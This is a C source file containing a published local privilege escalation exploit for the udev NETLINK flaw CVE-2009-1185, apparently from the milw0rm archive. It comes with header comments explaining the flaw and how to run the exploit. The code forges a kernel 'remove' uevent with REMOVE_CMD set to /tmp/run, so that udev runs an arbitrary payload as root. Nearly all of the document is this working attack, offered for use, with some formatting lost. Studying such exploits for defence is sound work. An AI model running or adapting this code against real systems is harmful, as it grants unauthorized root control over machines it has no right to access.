* cve-2009-1185.c** udev < 141 Local Privilege Escalation Exploit* Jon Oberheide * http://jon.oberheide.org** Information:** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185** udev before 1.4.1 does not verify whether a NETLINK message originates* from kernel space, which allows local users to gain privileges by sending* a NETLINK message from user space. ** Notes:** An alternate version of kcope's exploit. This exploit leverages the* 95-udev-late.rules functionality that is meant to run arbitrary commands* when a device is removed. A bit cleaner and reliable as long as your* distro ships that rule file. The exploit will execute /tmp/run as root* so throw whatever payload you want in there.** Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,* usually is the udevd PID minus 1) as argv[1].*/#include #include #include #include #include #include #include #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "a@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; } // milw0rm.com [2009-04-30]
